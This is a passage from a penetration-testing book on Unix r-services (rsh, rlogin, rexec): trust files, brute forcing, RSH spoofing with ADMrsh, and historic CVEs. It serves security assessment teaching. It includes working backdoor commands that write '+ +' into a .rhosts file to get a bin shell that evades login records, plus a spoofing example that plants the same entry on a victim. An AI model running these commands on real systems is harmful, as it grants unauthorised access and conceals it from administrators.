7.4 R-Services

Unix r-services are common to commercial platforms, including Solaris, HP-UX, and AIX. I have assembled a list from the /etc/services file as follows:

exec            512/tcp

login           513/tcp

shell           514/tcp

Each service runs using standard PAM username and password authentication, which is overridden by ~/.rhosts and /etc/hosts.equiv entries defining trusted hosts and usernames. Locally, you will find that on Unix-based systems, the exec service is in.rexecd, the login service is in.rlogind, and the shell service is in.rshd.

7.4.1 Directly Accessing R-Services

From a Unix-based platform, you use rsh, rlogin, and rexec clients to access the respective r-services running on a remote host. Example 7-11 shows how you can use each client from the command shell.

Example 7-11. Standard r-services clients
# rsh

usage: rsh [-nd] [-l login] host [command]

# rlogin

usage: rlogin [ -8EL] [-e char] [ -l username ] host

# rexec

rexec: Require at least a host name and command.

Usage: rexec [ -abcdhns ] -l username -p password  host command

     -l username: Sets the login name for the remote host.

     -p password: Sets the password for the remote host.

     -n: Explicitly prompt for name and password.

     -a: Do not set up an auxiliary channel for standard error.

     -b: Use BSD-rsh type signal handling.

     -c: Do not close remote standard in when local input closes

     -d: Turn on debugging information.

     -h: Print this usage message.

     -s: Do not echo signals to the remote process.
7.4.1.1 Unix ~/.rhosts and /etc/hosts.equiv files

The .rhosts file is in the user home directory under Unix and contains a list of username and IP address or machine hostname pairs, such as the following:

# pwd

/home/chris

# cat .rhosts

chris        mail.trustmatta.com

+     192.168.0.55

#

In this example, I can use any of the r-services (rsh, rlogin, or rexec) to connect to this host from mail.trustmatta.com if I am logged into the host as chris or from 192.168.0.55 with any username on that host.

When a user connects to the host running rshd (the remote shell daemon running on TCP port 514), the source IP address is cross-referenced against the .rhosts file, and the username is verified by querying the identd service running at the source. If these details are valid, direct access is given to the host without even requiring a password.

A simple, yet effective, backdoor for most Unix-based systems running rshd is to place an .rhosts file in the home directory of the bin user (/usr/bin/ under Solaris) containing the wildcards + +. Example 7-12 demonstrates planting this file to provide access to the host.

Example 7-12. Setting up a simple rsh back door
# echo + + > /usr/bin/.rhosts

# exit

hacker@launchpad/$ rsh -l bin 192.168.0.20 csh -i

Warning: no access to tty; thus no job control in this shell...

www% w

  5:45pm  up 33 day(s),  1 user,  load average: 0.00, 0.00, 0.01

User     tty           login@  idle   JCPU   PCPU  what

root     console      19Dec0219days                -sh

www%

A useful feature with the rshd service is that terminals aren't assigned to processes run through rsh. This means that bin access through the rshd backdoor doesn't appear in the utmp or wtmp logs, so it is cloaked within the system (not appearing within w or who listings). Unfortunately, the network connection into TCP port 514 appears if a user executes a netstat -a command, and processes run by the bin user also appear in ps -ef listings.

It is very easy to get from user/bin to user/root under Unix-based systems because the bin user owns many binaries (found under directories including /usr/sbin/) that run as services with root privileges.


The /etc/hosts.equiv file is a system-level file that defines trusted hostnames or IP addresses that can freely access r-services. SunOS 4.1.3_U1 shipped with a + wildcard in the /etc/hosts.equiv file, which allows attackers to gain direct bin-level access to SunOS 4.1.3_U1 servers with TCP port 514 open.

7.4.2 R-Services Brute Force

User passwords can be brute-forced across rlogind because the service calls /bin/login and the standard PAM mechanism. The rshd and rexecd services don't pass username and password details to the login program in this way; they rely on .rhosts and /etc/hosts.equiv entries for authentication.

I recommend that for each user enumerated through finger, SMTP, and other information-leak vulnerabilities, you should try to access the host directly through open r-services in the following fashion:

# rsh -l chris 192.168.0.20 csh -i

permission denied

# rsh -l test 192.168.0.20 csh -i

permission denied

# rsh -l root 192.168.0.20 csh -i

permission denied

# rsh -l bin 192.168.0.20 csh -i

Warning: no access to tty; thus no job control in this shell...

www%

It's possible to use rsh to log into a Solaris server as the superuser root if the user password isn't set. I witnessed this once in a live environment during an onsite audit I undertook in a hosting center that contained Solaris web servers built and configured using automated scripts.

7.4.3 Spoofing RSH Connections

If you are aware of trust between hosts, you can spoof RSH connections to appear as if they are from trusted hosts using IP sequence prediction and falsified client responses to match entries in .rhosts files server-side. One tool that can perform RSH spoofing and execute commands is ADMrsh, available from the ADM site (http://adm.freelsd.net/ADM/). The utility requires the latest version of ADMspoof, and its header files (found in ADM-spoof-NEW.tgz at the time of writing) and its usage is shown here:

                                 ADMrsh

                                 **==**



 It's very easy to use (like all the ADM products).



 ADMrsh [ips] [ipd] [ipl]  [luser] [ruser] [cmd]



 Parameters List :

 ips   =   ip source (ip of the trusted host)

 ipd   =   ip destination (ip of the victim)

 ipl   =   ip local (your ip to receive the informations)

 luser =   local user

 ruser =   remote user

 cmd   =   command to execute



 If ya don't understand, this is an example :



 ADMrsh a.foo.us b.foo.us bad.org root root "echo\"+ +\">/.rhosts"



 Credit's : Heike , ALL ADM CreW , !w00w00 , Darknet

 ADMrsh 0.5 pub (c) ADM  <-- hehe ;)

If the ADM web site is down or no longer archives the aforementioned files, you can download them from the O'Reilly security tools archive at the following locations (please note case-sensitivity):

http://examples.oreilly.com/networksa/tools/ADMrsh0.5.tgz
http://examples.oreilly.com/networksa/tools/ADM-spoof-NEW.tgz

7.4.4 Known R-Services Vulnerabilities

At the time of writing, the CERT vulnerability notes list (http://www.kb.cert.org/vuls/) doesn't highlight any serious exploitable bugs in r-services. The MITRE CVE list does a good job of listing historic issues, as detailed in Table 7-5.

Table 7-5. Remotely exploitable r-services vulnerabilities

CVE name

Date

Notes

CVE-1999-0180

Unknown

rshd allows users to log in with a NULL username and execute commands.

CVE-1999-1059

25/02/1992

rexecd for various SVR4 systems allows remote attackers to execute arbitrary commands.

CAN-1999-1266

13/06/1997

rshd generates different error messages when a valid username is provided versus an invalid name; this allows remote attackers to determine valid users.

CAN-1999-1450

27/01/1999

SCO Unix OpenServer 5.0.5 and UnixWare 7.0.1 and earlier allows remote attackers to gain privileges through rshd and rlogind.